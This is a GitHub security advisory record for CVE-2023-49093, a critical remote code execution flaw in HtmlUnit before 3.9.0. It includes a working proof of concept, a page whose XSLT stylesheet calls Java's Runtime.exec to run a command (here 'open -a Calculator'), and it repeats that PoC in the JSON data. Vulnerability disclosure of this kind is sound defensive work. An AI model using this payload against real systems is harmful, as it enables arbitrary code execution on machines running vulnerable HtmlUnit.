GHSA-37VQ-HR2F-G7H7

Vulnerability from github – Published: 2023-12-04 23:13 – Updated: 2023-12-04 23:13
VLAI?
Summary
HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL
Details

Summary

HtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage

Details

Vulnerability code location: org.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode)

The reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor

PoC

pom.xml:

<dependency>
  <groupId>org.htmlunit</groupId>
  <artifactId>htmlunit</artifactId>
  <version>3.8.0</version>
</dependency>

code:

WebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER);
HtmlPage page = webClient.getPage("http://127.0.0.1:8080/test.html");
System.out.println(page.asNormalizedText());

test.html:

<script>
    var xslt = new ActiveXObject("Msxml2.XSLTemplate.6.0");
    var xslDoc = new ActiveXObject("Msxml2.FreeThreadedDOMDocument.6.0");
    var xslProc;
    xslDoc.async = false;
    xslDoc.loadXML(`<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
   <xsl:template match="/">
     <xsl:variable name="rtobject" select="rt:getRuntime()"/>
     <xsl:variable name="process" select="rt:exec($rtobject,'open -a Calculator')"/>
     <xsl:variable name="processString" select="ob:toString($process)"/>
     <span><xsl:value-of select="$processString"/></span>
   </xsl:template>
 </xsl:stylesheet>`)

    if (xslDoc.parseError.errorCode != 0) {
        var myErr = xslDoc.parseError;
        document.write("ParseError: "+myErr.reason);
    } else {
        xslt.stylesheet = xslDoc;
        var xmlDoc = new ActiveXObject("Msxml2.DOMDocument.6.0");
        xmlDoc.async = false;
        xmlDoc.loadXML("<s></s>");
        if (xmlDoc.parseError.errorCode != 0) {
            var myErr = xmlDoc.parseError;
            document.write("Document error: " + myErr.reason);
        } else {
            xslProc = xslt.createProcessor();
            xslProc.input = xmlDoc;
            xslProc.transform();
            document.write(xslProc.output);
        }
    }
</script>

Impact

Remote Code Execution

Severity ?
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.htmlunit:htmlunit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-49093"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-04T23:13:30Z",
    "nvd_published_at": "2023-12-04T05:15:07Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nHtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker\u2019s webpage\n\n### Details\nVulnerability code location:\norg.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode)\n\nThe reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor\n\n### PoC\npom.xml:\n```\n\u003cdependency\u003e\n  \u003cgroupId\u003eorg.htmlunit\u003c/groupId\u003e\n  \u003cartifactId\u003ehtmlunit\u003c/artifactId\u003e\n  \u003cversion\u003e3.8.0\u003c/version\u003e\n\u003c/dependency\u003e\n```\n\ncode:\n```\nWebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER);\nHtmlPage page = webClient.getPage(\"http://127.0.0.1:8080/test.html\");\nSystem.out.println(page.asNormalizedText());\n```\n\ntest.html:\n```\n\u003cscript\u003e\n    var xslt = new ActiveXObject(\"Msxml2.XSLTemplate.6.0\");\n    var xslDoc = new ActiveXObject(\"Msxml2.FreeThreadedDOMDocument.6.0\");\n    var xslProc;\n    xslDoc.async = false;\n    xslDoc.loadXML(`\u003cxsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:rt=\"http://xml.apache.org/xalan/java/java.lang.Runtime\" xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\u003e\n   \u003cxsl:template match=\"/\"\u003e\n     \u003cxsl:variable name=\"rtobject\" select=\"rt:getRuntime()\"/\u003e\n     \u003cxsl:variable name=\"process\" select=\"rt:exec($rtobject,\u0027open -a Calculator\u0027)\"/\u003e\n     \u003cxsl:variable name=\"processString\" select=\"ob:toString($process)\"/\u003e\n     \u003cspan\u003e\u003cxsl:value-of select=\"$processString\"/\u003e\u003c/span\u003e\n   \u003c/xsl:template\u003e\n \u003c/xsl:stylesheet\u003e`)\n\n    if (xslDoc.parseError.errorCode != 0) {\n        var myErr = xslDoc.parseError;\n        document.write(\"ParseError: \"+myErr.reason);\n    } else {\n        xslt.stylesheet = xslDoc;\n        var xmlDoc = new ActiveXObject(\"Msxml2.DOMDocument.6.0\");\n        xmlDoc.async = false;\n        xmlDoc.loadXML(\"\u003cs\u003e\u003c/s\u003e\");\n        if (xmlDoc.parseError.errorCode != 0) {\n            var myErr = xmlDoc.parseError;\n            document.write(\"Document error: \" + myErr.reason);\n        } else {\n            xslProc = xslt.createProcessor();\n            xslProc.input = xmlDoc;\n            xslProc.transform();\n            document.write(xslProc.output);\n        }\n    }\n\u003c/script\u003e\n```\n\n\n### Impact\nRemote Code Execution",
  "id": "GHSA-37vq-hr2f-g7h7",
  "modified": "2023-12-04T23:13:30Z",
  "published": "2023-12-04T23:13:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HtmlUnit/htmlunit/security/advisories/GHSA-37vq-hr2f-g7h7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49093"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HtmlUnit/htmlunit"
    },
    {
      "type": "WEB",
      "url": "https://www.htmlunit.org/changes-report.html#a3.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL"
}


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  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.